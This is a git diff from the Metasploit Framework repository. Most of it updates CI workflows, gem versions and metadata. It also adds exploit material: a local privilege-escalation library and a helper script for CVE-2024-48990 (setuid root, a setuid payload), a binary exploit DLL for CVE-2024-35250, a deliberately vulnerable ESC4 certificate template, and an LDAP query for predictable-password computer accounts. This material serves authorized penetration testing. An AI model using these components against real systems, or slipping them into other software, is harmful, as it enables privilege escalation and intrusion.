diff --git a/.github/workflows/command_shell_acceptance.yml b/.github/workflows/command_shell_acceptance.yml
index 62da721a0bec..269aec50a261 100644
--- a/.github/workflows/command_shell_acceptance.yml
+++ b/.github/workflows/command_shell_acceptance.yml
@@ -66,7 +66,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- - 3.1.5
+ - '3.2'
include:
# Powershell
- { command_shell: { name: powershell }, os: windows-2019 }
diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml
index bea1fb68d882..76abbeaef215 100644
--- a/.github/workflows/docs.yml
+++ b/.github/workflows/docs.yml
@@ -32,7 +32,7 @@ jobs:
# Ensures that the docs site builds successfully. Note that this workflow does not deploy the docs site.
build:
runs-on: ubuntu-latest
- timeout-minutes: 40
+ timeout-minutes: 60
strategy:
fail-fast: true
diff --git a/.github/workflows/ldap_acceptance.yml b/.github/workflows/ldap_acceptance.yml
index 68e736d6cd41..9651487fc2ad 100644
--- a/.github/workflows/ldap_acceptance.yml
+++ b/.github/workflows/ldap_acceptance.yml
@@ -44,7 +44,7 @@ on:
jobs:
ldap:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
strategy:
fail-fast: true
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index d6432fac2e07..dbb8dca6927c 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -29,7 +29,7 @@ on:
jobs:
msftidy:
runs-on: ubuntu-latest
- timeout-minutes: 40
+ timeout-minutes: 60
env:
BUNDLE_WITHOUT: "coverage development pcap"
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- - '3.1'
+ - '3.2'
name: Lint msftidy
steps:
diff --git a/.github/workflows/mssql_acceptance.yml b/.github/workflows/mssql_acceptance.yml
index 1b1a674b6c45..f6542d56201f 100644
--- a/.github/workflows/mssql_acceptance.yml
+++ b/.github/workflows/mssql_acceptance.yml
@@ -44,7 +44,7 @@ on:
jobs:
mssql:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
services:
mssql:
diff --git a/.github/workflows/mysql_acceptance.yml b/.github/workflows/mysql_acceptance.yml
index 0dcf9b09ec88..9bd2c9efecf9 100644
--- a/.github/workflows/mysql_acceptance.yml
+++ b/.github/workflows/mysql_acceptance.yml
@@ -44,7 +44,7 @@ on:
jobs:
mysql:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
services:
mysql:
diff --git a/.github/workflows/postgres_acceptance.yml b/.github/workflows/postgres_acceptance.yml
index b0825047f4ac..0de893c76843 100644
--- a/.github/workflows/postgres_acceptance.yml
+++ b/.github/workflows/postgres_acceptance.yml
@@ -44,7 +44,7 @@ on:
jobs:
postgres:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
services:
postgres:
@@ -54,7 +54,7 @@ jobs:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: password
options: >-
- --health-cmd pg_isready
+ --health-cmd "pg_isready --username postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
diff --git a/.github/workflows/shared_meterpreter_acceptance.yml b/.github/workflows/shared_meterpreter_acceptance.yml
index e595308e2652..f79b65006473 100644
--- a/.github/workflows/shared_meterpreter_acceptance.yml
+++ b/.github/workflows/shared_meterpreter_acceptance.yml
@@ -30,11 +30,11 @@ on:
type: boolean
jobs:
- # Compile Java Meterpreter via docker if required, we can't always do this on the
+ # Compile the Meterpreter payloads via docker if required, we can't always do this on the
# host environment (i.e. for macos). So it instead gets compiled first on a linux
# host, then the artifacts are copied back to the host later
- java_meterpreter_compilation:
- name: Compile Java Meterpreter
+ meterpreter_compilation:
+ name: Compile Meterpreter
runs-on: ubuntu-latest
if: ${{ inputs.build_metasploit_payloads }}
@@ -46,21 +46,22 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- - name: Build Java and Android payloads
+ - name: Build Meterpreter payloads
run: |
- mkdir $(pwd)/java-artifacts
- docker run --rm -w "$(pwd)" -v "$(pwd):$(pwd)" rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "set -x && cd metasploit-payloads/java && mvn package -Dandroid.sdk.path=/usr/local/android-sdk -Dandroid.release=true -Ddeploy.path=../../java-artifacts -Dmaven.test.skip=true -P deploy && mvn -Dmaven.test.skip=true -Ddeploy.path=../../java-artifacts -P deploy package"
+ mkdir $(pwd)/meterpreter-artifacts
+ docker run --rm -w $(pwd) -v $(pwd):$(pwd) rapid7/msf-ubuntu-x64-meterpreter:latest /bin/bash -c "cd metasploit-payloads/gem && rake create_dir && rake win_copy && rake php_prep && rake java_prep && rake python_prep && rake create_manifest && rake build"
+ cp $(pwd)/metasploit-payloads/gem/pkg/metasploit-payloads-* $(pwd)/meterpreter-artifacts
- - name: Store Java artifacts
+ - name: Store Meterpreter artifacts
uses: actions/upload-artifact@v4
with:
- name: java-artifacts
- path: java-artifacts
+ name: meterpreter-artifacts
+ path: meterpreter-artifacts
# Run all test individually, note there is a separate final job for aggregating the test results
test:
- needs: java_meterpreter_compilation
- if: always() && (needs.java_meterpreter_compilation.result == 'success' || needs.java_meterpreter_compilation.result == 'skipped')
+ needs: meterpreter_compilation
+ if: always() && (needs.meterpreter_compilation.result == 'success' || needs.meterpreter_compilation.result == 'skipped')
strategy:
fail-fast: false
@@ -70,7 +71,7 @@ jobs:
- windows-2019
- ubuntu-20.04
ruby:
- - 3.1.5
+ - '3.2'
meterpreter:
# Python
- { name: python, runtime_version: 3.6 }
@@ -208,28 +209,28 @@ jobs:
working-directory: metasploit-framework
- uses: actions/download-artifact@v4
- name: Download Java meterpreter
- id: download_java_meterpreter
- if: ${{ matrix.meterpreter.name == 'java' && inputs.build_metasploit_payloads }}
+ name: Download Meterpreter
+ id: download_meterpreter
+ if: ${{ matrix.meterpreter.name != 'mettle' && inputs.build_metasploit_payloads }}
with:
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
path: raw-data
- - name: Extract Java Meterpreter (Unix)
- if: ${{ matrix.meterpreter.name == 'java' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
+ - name: Extract Meterpreter (Unix)
+ if: ${{ matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
- download_path=${{steps.download_java_meterpreter.outputs.download-path}}
- cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
+ download_path=${{steps.download_meterpreter.outputs.download-path}}
+ cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- - name: Extract Java Meterpreter (Windows)
- if: ${{ matrix.meterpreter.name == 'java' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
+ - name: Extract Meterpreter (Windows)
+ if: ${{ matrix.meterpreter.name != 'mettle' && runner.os == 'Windows' && inputs.build_metasploit_payloads }}
shell: bash
run: |
set -x
- download_path=$(cygpath -u '${{steps.download_java_meterpreter.outputs.download-path}}')
- cp -r $download_path/java-artifacts/data/* ./metasploit-framework/data
+ download_path=$(cygpath -u '${{steps.download_meterpreter.outputs.download-path}}')
+ cp -r $download_path/meterpreter-artifacts/* ./metasploit-framework
- name: Install mettle gem
if: ${{ matrix.meterpreter.name == 'mettle' && inputs.build_mettle }}
@@ -250,32 +251,6 @@ jobs:
path: metasploit-payloads
ref: ${{ inputs.metasploit_payloads_commit }}
- - name: Get metasploit-payloads version
- if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
- shell: bash
- run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
- working-directory: metasploit-payloads
-
- - name: Build metasploit-payloads gem
- if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
- run: gem build ./gem/metasploit-payloads.gemspec
- working-directory: metasploit-payloads
-
- - name: Copy metasploit-payloads gem into metasploit-framework
- if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
- shell: bash
- run: cp ../metasploit-payloads/metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem .
- working-directory: metasploit-framework
-
- - name: Install metasploit-payloads gem
- if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
- run: |
- bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
- bundle config unset deployment
- bundle update metasploit-payloads
- bundle install
- working-directory: metasploit-framework
-
- name: Build Windows payloads via Visual Studio 2019 Build (Windows)
shell: cmd
if: ${{ matrix.meterpreter.name == 'windows_meterpreter' && matrix.os == 'windows-2019' && inputs.build_metasploit_payloads }}
@@ -294,12 +269,39 @@ jobs:
make.bat
working-directory: metasploit-payloads
- - name: Build PHP, Python and Windows payloads
- if: ${{ (matrix.meterpreter.name == 'php' || matrix.meterpreter.name == 'python' || runner.os == 'Windows') && inputs.build_metasploit_payloads }}
- run: |
- make install-php install-python install-windows
+ - name: Get metasploit-payloads version
+ if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
+ shell: bash
+ run: echo "METASPLOIT_PAYLOADS_VERSION=$(ruby -ne "puts Regexp.last_match(1) if /VERSION\s+=\s+'([^']+)'/" gem/lib/metasploit-payloads/version.rb)" | tee -a $GITHUB_ENV
working-directory: metasploit-payloads
+ - name: Install metasploit-payloads gem
+ if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
+ run: |
+ bundle exec gem install metasploit-payloads-${{ env.METASPLOIT_PAYLOADS_VERSION }}.gem
+ working-directory: metasploit-framework
+
+ - name: Remove metasploit-payloads version from metasploit-framework.gemspec
+ if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' && runner.os != 'Windows' }}
+ run: |
+ ruby -pi -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
+ working-directory: metasploit-framework
+
+ - name: Remove metasploit-payloads version from metasploit-framework.gemspec (Windows)
+ if: ${{ inputs.build_metasploit_payloads && (runner.os == 'Windows' && matrix.meterpreter.name != 'windows_meterpreter') && matrix.meterpreter.name != 'mettle' }}
+ shell: cmd
+ run: |
+ ruby -pi.bak -e "gsub(/metasploit-payloads', '\d+.\d+.\d+/, 'metasploit-payloads')" metasploit-framework.gemspec
+ working-directory: metasploit-framework
+
+ - name: Bundle update/install metasploit-payloads gem
+ if: ${{ inputs.build_metasploit_payloads && matrix.meterpreter.name != 'mettle' }}
+ run: |
+ bundle config unset deployment
+ bundle update metasploit-payloads
+ bundle install
+ working-directory: metasploit-framework
+
- name: Acceptance
env:
SPEC_HELPER_LOAD_METASPLOIT: false
diff --git a/.github/workflows/shared_smb_acceptance.yml b/.github/workflows/shared_smb_acceptance.yml
index 252caf4b9840..cf8c127093fe 100644
--- a/.github/workflows/shared_smb_acceptance.yml
+++ b/.github/workflows/shared_smb_acceptance.yml
@@ -17,7 +17,7 @@ on:
jobs:
smb:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
strategy:
fail-fast: true
diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml
index e53ff6be3378..87ce8e7b305a 100644
--- a/.github/workflows/verify.yml
+++ b/.github/workflows/verify.yml
@@ -29,7 +29,7 @@ on:
jobs:
build:
runs-on: ubuntu-latest
- timeout-minutes: 40
+ timeout-minutes: 60
name: Docker Build
steps:
- name: Checkout code
@@ -41,7 +41,7 @@ jobs:
test:
runs-on: ${{ matrix.os }}
- timeout-minutes: 40
+ timeout-minutes: 60
services:
postgres:
@@ -51,7 +51,7 @@ jobs:
POSTGRES_USER: postgres
POSTGRES_PASSWORD: postgres
options: >-
- --health-cmd pg_isready
+ --health-cmd "pg_isready --username postgres"
--health-interval 10s
--health-timeout 5s
--health-retries 5
@@ -60,16 +60,15 @@ jobs:
fail-fast: true
matrix:
ruby:
- - '3.1'
- '3.2'
- '3.3'
- - '3.4.0-preview2'
+ - '3.4'
os:
- ubuntu-20.04
- ubuntu-latest
include:
- os: ubuntu-latest
- ruby: '3.1'
+ ruby: '3.2'
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
test_cmd:
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
diff --git a/.github/workflows/weekly-data-and-external-tool-updater.yml b/.github/workflows/weekly-data-and-external-tool-updater.yml
new file mode 100644
index 000000000000..6197d97bae3f
--- /dev/null
+++ b/.github/workflows/weekly-data-and-external-tool-updater.yml
@@ -0,0 +1,98 @@
+name: Weekly Data and External Tool Updater
+
+# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
+permissions:
+ actions: none
+ checks: none
+ contents: none
+ deployments: none
+ id-token: none
+ issues: none
+ discussions: none
+ packages: none
+ pages: none
+ pull-requests: write
+ repository-projects: none
+ security-events: none
+ statuses: none
+
+on:
+ schedule:
+ # Run once a week (e.g., every Monday at 01:00 UTC)
+ - cron: '0 1 * * 1'
+ workflow_dispatch: # Allows manual triggering from the Actions tab
+
+jobs:
+ update-data-files:
+ runs-on: ubuntu-latest
+
+ if: github.repository_owner == 'rapid7'
+
+ env:
+ BUNDLE_WITHOUT: "coverage development pcap"
+
+ strategy:
+ fail-fast: true
+ matrix:
+ ruby:
+ - '3.2'
+
+ steps:
+ - name: Install system dependencies
+ run: sudo apt-get install libpcap-dev graphviz
+
+ - name: Checkout code
+ uses: actions/checkout@v4
+ with:
+ fetch-depth: 0
+
+ - uses: ruby/setup-ruby@v1
+ with:
+ ruby-version: '${{ matrix.ruby }}'
+ bundler-cache: true
+
+ - name: Run Ruby updater scripts
+ run: |
+ ruby tools/dev/update_wordpress_vulnerabilities.rb
+ ruby tools/dev/update_joomla_components.rb
+ ruby tools/dev/update_user_agent_strings.rb
+ ruby tools/dev/check_external_scripts.rb -u
+ - name: Remove vendor folder # prevent git from adding it
+ run: rm -rf vendor
+
+ - name: Create Pull Request
+ uses: peter-evans/create-pull-request@v7
+ with:
+ token: ${{ secrets.GITHUB_TOKEN }}
+ commit-message: Update report
+ base: master
+ branch: weekly-updates
+ committer: github-actions[bot]
+ author: github-actions[bot]
+ title: "Weekly Data Update"
+ draft: false
+ body: |
+ This pull request was created automatically by a GitHub Action to update data files and external scripts.
+ The following tools were run:
+ - ruby tools/dev/update_wordpress_vulnerabilities.rb
+ - ruby tools/dev/update_joomla_components.rb
+ - ruby tools/dev/update_user_agent_strings.rb
+ - ruby tools/dev/check_external_scripts.rb -u
+ ## Verification
+ ### Wordpress/Joomla Files
+ - [ ] Do a sanity check, do the additions look legit?
+ - [ ] Start `msfconsole`
+ - [ ] `use modules/auxiliary/scanner/http/wordpress_scanner`
+ - [ ] **Verify** it runs
+ ### JTR Files
+ - [ ] Do a sanity check, do the additions look legit?
+ - [ ] See https://docs.metasploit.com/docs/using-metasploit/intermediate/hashes-and-password-cracking.html#example-hashes for hashes and cracking
+ ### SharpHound
+ - [ ] Start `msfconsole`
+ - [ ] get a shell on a DC or box connected to a dc
+ - [ ] `use post/windows/gather/bloodhound`
+ - [ ] `set session`
+ - [ ] `run`
+ - [ ] **Verify** it runs w/o erroring
+ - [ ] `set method disk`
+ - [ ] **Verify** it runs w/o erroring
diff --git a/.mailmap b/.mailmap
index 79292c70729a..80961d6f7494 100644
--- a/.mailmap
+++ b/.mailmap
@@ -17,6 +17,7 @@ todb-r7
todb-r7
todb-r7
dledda-r7
+msutovsky-r7
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@@ -121,6 +122,7 @@ m-1-k-3 Michael Messner
Meatballs1
Meatballs1
mubix Rob Fuller
+mwalas-r7
net-ninja Steven Seeley
nevdull77 Patrik Karlsson
nmonkee nmonkee
@@ -185,4 +187,4 @@ Jenkins Bot Jenkins
Tab Assassin TabAssassin
Tab Assassin Tabassassin
Tab Assassin Tabasssassin
-Tab Assassin URI Assassin
\ No newline at end of file
+Tab Assassin URI Assassin
diff --git a/Gemfile.lock b/Gemfile.lock
index 608655456bab..424b3b1bda54 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
- metasploit-framework (6.4.36)
+ metasploit-framework (6.4.49)
aarch64
abbrev
actionpack (~> 7.0.0)
@@ -15,10 +15,12 @@ PATH
base64
bcrypt
bcrypt_pbkdf
+ benchmark
bigdecimal
bootsnap
bson
chunky_png
+ concurrent-ruby (= 1.3.4)
csv
dnsruby
drb
@@ -31,6 +33,7 @@ PATH
faraday-retry
faye-websocket
ffi (< 1.17.0)
+ fiddle
filesize
getoptlong
hrr_rb_ssh-ed25519
@@ -42,7 +45,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
- metasploit-payloads (= 2.0.187)
+ metasploit-payloads (= 2.0.189)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.35)
mqtt
@@ -60,6 +63,7 @@ PATH
octokit (~> 4.0)
openssl-ccm
openvas-omp
+ ostruct
packetfu
patch_finder
pcaprub
@@ -186,6 +190,7 @@ GEM
base64 (0.2.0)
bcrypt (3.1.20)
bcrypt_pbkdf (1.1.1)
+ benchmark (0.4.0)
bigdecimal (3.1.8)
bindata (2.4.15)
bootsnap (1.18.4)
@@ -200,7 +205,7 @@ GEM
crass (1.0.6)
csv (3.3.0)
daemons (1.4.1)
- date (3.3.4)
+ date (3.4.1)
debug (1.8.0)
irb (>= 1.5.0)
reline (>= 0.3.1)
@@ -242,6 +247,7 @@ GEM
eventmachine (>= 0.12.0)
websocket-driver (>= 0.5.1)
ffi (1.16.3)
+ fiddle (1.1.6)
filesize (0.2.0)
fivemat (1.3.7)
getoptlong (0.2.1)
@@ -300,7 +306,7 @@ GEM
activemodel (~> 7.0)
activesupport (~> 7.0)
railties (~> 7.0)
- metasploit-payloads (2.0.187)
+ metasploit-payloads (2.0.189)
metasploit_data_models (6.0.5)
activerecord (~> 7.0)
activesupport (~> 7.0)
@@ -317,7 +323,7 @@ GEM
logger
mime-types-data (~> 3.2015)
mime-types-data (3.2024.1001)
- mini_portile2 (2.8.7)
+ mini_portile2 (2.8.8)
minitest (5.25.1)
mqtt (0.6.0)
msgpack (1.6.1)
@@ -340,7 +346,7 @@ GEM
network_interface (0.0.4)
nexpose (7.3.0)
nio4r (2.7.4)
- nokogiri (1.16.7)
+ nokogiri (1.18.2)
mini_portile2 (~> 2.8.2)
racc (~> 1.4)
nori (2.7.1)
@@ -351,6 +357,7 @@ GEM
openssl-ccm (1.2.3)
openssl-cmac (2.0.2)
openvas-omp (0.0.4)
+ ostruct (0.6.1)
packetfu (2.0.0)
pcaprub (~> 0.13.1)
parallel (1.26.3)
@@ -439,14 +446,15 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
- rex-random_identifier (0.1.12)
+ rex-random_identifier (0.1.13)
rex-text
rex-registry (0.1.5)
rex-rop_builder (0.1.5)
metasm
rex-core
rex-text
- rex-socket (0.1.57)
+ rex-socket (0.1.58)
+ dnsruby
rex-core
rex-sslscan (0.1.10)
rex-core
@@ -499,11 +507,11 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
- ruby_smb (3.3.10)
+ ruby_smb (3.3.13)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
- rubyntlm
+ rubyntlm (>= 0.6.5)
windows_error (>= 0.1.4)
rubyntlm (0.6.5)
base64
diff --git a/LICENSE_GEMS b/LICENSE_GEMS
index b710942c6f02..832c40c89137 100644
--- a/LICENSE_GEMS
+++ b/LICENSE_GEMS
@@ -26,6 +26,7 @@ aws-sigv4, 1.10.1, "Apache 2.0"
base64, 0.2.0, "ruby, Simplified BSD"
bcrypt, 3.1.20, MIT
bcrypt_pbkdf, 1.1.1, MIT
+benchmark, 0.4.0, "ruby, Simplified BSD"
bigdecimal, 3.1.8, "ruby, Simplified BSD"
bindata, 2.4.15, "Simplified BSD"
bootsnap, 1.18.4, MIT
@@ -40,7 +41,7 @@ cookiejar, 0.3.4, "Simplified BSD"
crass, 1.0.6, MIT
csv, 3.3.0, "ruby, Simplified BSD"
daemons, 1.4.1, MIT
-date, 3.3.4, "ruby, Simplified BSD"
+date, 3.4.1, "ruby, Simplified BSD"
debug, 1.8.0, "ruby, Simplified BSD"
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
dnsruby, 1.72.2, "Apache 2.0"
@@ -61,6 +62,7 @@ faraday-net_http, 3.0.2, MIT
faraday-retry, 2.2.1, MIT
faye-websocket, 0.11.3, "Apache 2.0"
ffi, 1.16.3, "New BSD"
+fiddle, 1.1.6, "ruby, Simplified BSD"
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
getoptlong, 0.2.1, "ruby, Simplified BSD"
@@ -88,9 +90,9 @@ memory_profiler, 1.1.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 5.0.3, "New BSD"
metasploit-credential, 6.0.11, "New BSD"
-metasploit-framework, 6.4.36, "New BSD"
+metasploit-framework, 6.4.49, "New BSD"
metasploit-model, 5.0.2, "New BSD"
-metasploit-payloads, 2.0.187, "3-clause (or ""modified"") BSD"
+metasploit-payloads, 2.0.189, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.35, "3-clause (or ""modified"") BSD"
method_source, 1.1.0, MIT
@@ -119,6 +121,7 @@ octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
+ostruct, 0.6.1, "ruby, Simplified BSD"
packetfu, 2.0.0, "New BSD"
parallel, 1.26.3, MIT
parser, 3.3.5.0, MIT
@@ -156,10 +159,10 @@ rex-mime, 0.1.8, "New BSD"
rex-nop, 0.1.3, "New BSD"
rex-ole, 0.1.8, "New BSD"
rex-powershell, 0.1.100, "New BSD"
-rex-random_identifier, 0.1.12, "New BSD"
+rex-random_identifier, 0.1.13, "New BSD"
rex-registry, 0.1.5, "New BSD"
rex-rop_builder, 0.1.5, "New BSD"
-rex-socket, 0.1.57, "New BSD"
+rex-socket, 0.1.58, "New BSD"
rex-sslscan, 0.1.10, "New BSD"
rex-struct2, 0.1.4, "New BSD"
rex-text, 0.2.59, "New BSD"
@@ -181,7 +184,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.13.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
-ruby_smb, 3.3.10, "New BSD"
+ruby_smb, 3.3.13, "New BSD"
rubyntlm, 0.6.5, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
diff --git a/README.md b/README.md
index ec2b0209a75b..74c4a2cb81d2 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,3 @@
-
# Metasploit Framework
The Metasploit Framework is an open-source tool released under a BSD-style license. For detailed licensing information, refer to the `COPYING` file.
@@ -21,11 +20,10 @@ For information on writing modules, refer to the [API Documentation](https://doc
## Support and Communication
For questions and suggestions, join the Freenode IRC channel or contact the metasploit-hackers mailing list.
----
-
## Installing Metasploit
### Recommended Installation
+
We recommend installation with the [official Metasploit installers](https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html#installing-metasploit-on-linux--macos) on Linux or macOS. Metasploit is also pre-installed with Kali.
For a manual setup, consult the [Dev Environment Setup](https://docs.metasploit.com/docs/development/get-started/setting-up-a-metasploit-development-environment.html) guide.
diff --git a/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml
new file mode 100644
index 000000000000..521a6c2dcf18
--- /dev/null
+++ b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc4_template.yaml
@@ -0,0 +1,30 @@
+---
+# Creates a template that will be vulnerable to ESC4 (certificate has weak edit permissions).
+# Fields are based on the SubCA template. For field descriptions,
+# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434
+showInAdvancedViewOnly: 'TRUE'
+# this security descriptor grants all permissions to all authenticated users (this is what makes the template vulnerable to ESC4)
+nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
+flags: 0
+pKIDefaultKeySpec: 2
+pKIKeyUsage: !binary |-
+ hgA=
+pKIMaxIssuingDepth: 0
+pKICriticalExtensions:
+ - 2.5.29.19
+ - 2.5.29.15
+pKIExtendedKeyUsage:
+# Server Authentication OID (Not necessary although if left blank this template would also be vulnerable to ESC2)
+ - 1.3.6.1.5.5.7.3.1
+pKIExpirationPeriod: !binary |-
+ AEAepOhl+v8=
+pKIOverlapPeriod: !binary |-
+ AICmCv/e//8=
+pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0
+msPKI-RA-Signature: 0
+msPKI-Enrollment-Flag: 0
+# CT_FLAG_EXPORTABLE_KEY
+msPKI-Private-Key-Flag: 0x10
+# CT_FLAG_SUBJECT_ALT_REQUIRE_UPN | CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
+msPKI-Certificate-Name-Flag: 0x82000000
+msPKI-Minimal-Key-Size: 2048
\ No newline at end of file
diff --git a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml
index e7f73dca17ff..94c059517802 100644
--- a/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml
+++ b/data/auxiliary/gather/ldap_query/ldap_queries_default.yaml
@@ -373,3 +373,17 @@ queries:
- https://malicious.link/post/2022/ldapsearch-reference/
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
+ - action: ENUM_PRE_WINDOWS_2000_COMPUTERS
+ description: 'Dump info about all computer objects likely created as a "pre-Windows 2000 computer", for which the password might be predictable.'
+ filter: '(&(userAccountControl=4128))'
+ attributes:
+ - cn
+ - displayName
+ - description
+ - sAMAccountName
+ - userPrincipalName
+ - logonCount
+ - userAccountControl
+ references:
+ - https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
+ - https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
diff --git a/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll
new file mode 100644
index 000000000000..fb06d935e3b6
Binary files /dev/null and b/data/exploits/CVE-2024-35250/CVE-2024-35250.x64.dll differ
diff --git a/data/exploits/CVE-2024-48990/lib.metasm b/data/exploits/CVE-2024-48990/lib.metasm
new file mode 100644
index 000000000000..cdb70f43a3a1
--- /dev/null
+++ b/data/exploits/CVE-2024-48990/lib.metasm
@@ -0,0 +1,27 @@
+/*
+// system call
+#include
+// setuid, setgid
+#include
+
+static void a() __attribute__((constructor));
+
+void a() {
+ setuid(0);
+ setgid(0);
+ const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
+ system(shell);
+}
+*/
+
+extern int setuid(int);
+extern int setgid(int);
+extern int system(const char *__s);
+
+void a(void) __attribute__((constructor));
+
+void __attribute__((constructor)) a() {
+ setuid(0);
+ setgid(0);
+ system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
+}
\ No newline at end of file
diff --git a/data/exploits/CVE-2024-48990/sleeper.py b/data/exploits/CVE-2024-48990/sleeper.py
new file mode 100644
index 000000000000..777429c0092d
--- /dev/null
+++ b/data/exploits/CVE-2024-48990/sleeper.py
@@ -0,0 +1,17 @@
+import os
+import time
+import pwd
+
+print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")
+
+while True:
+ try:
+ file_stat = os.stat('PAYLOAD_PATH')
+ except FileNotFoundError:
+ exit()
+ username = pwd.getpwuid(file_stat.st_uid).pw_name
+ #print(f"Payload owned by: {username}. Stats: {file_stat}")
+ if (username == 'root'):
+ os.system('PAYLOAD_PATH &')
+ exit()
+ time.sleep(1)
\ No newline at end of file
diff --git a/data/php/hop.php b/data/php/hop.php
deleted file mode 100644
index d2c289a3b56c..000000000000
--- a/data/php/hop.php
+++ /dev/null
@@ -1,68 +0,0 @@
-",
+ "Sandro Tolksdorf of usd AG."
+ ],
+ "description": "Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all,\n compute, storage and application resources. Businesses and Service Providers are using it\n to protect and backup all IT assets in their IT environment.\n This module exploits an authentication bypass vulnerability at the Acronis Cyber Protect\n appliance which, in its default configuration, allows the anonymous registration of new\n backup/protection agents on new endpoints. This API endpoint also generates bearer tokens\n which the agent then uses to authenticate to the appliance.\n As the management web console is running on the same port as the API for the agents, this\n bearer token is also valid for any actions on the web console. This allows an attacker\n with network access to the appliance to start the registration of a new agent, retrieve\n a bearer token that provides admin access to the available functions in the web console.\n\n This module will gather all machine info (endpoints) configured and managed by the appliance.\n This information can be used in a subsequent attack that exploits this vulnerability to\n execute arbitrary commands on both the managed endpoint and the appliance.\n This exploit is covered in another module `exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405`.\n\n Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and\n Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable.",
+ "references": [
+ "CVE-2022-30995",
+ "CVE-2022-3405",
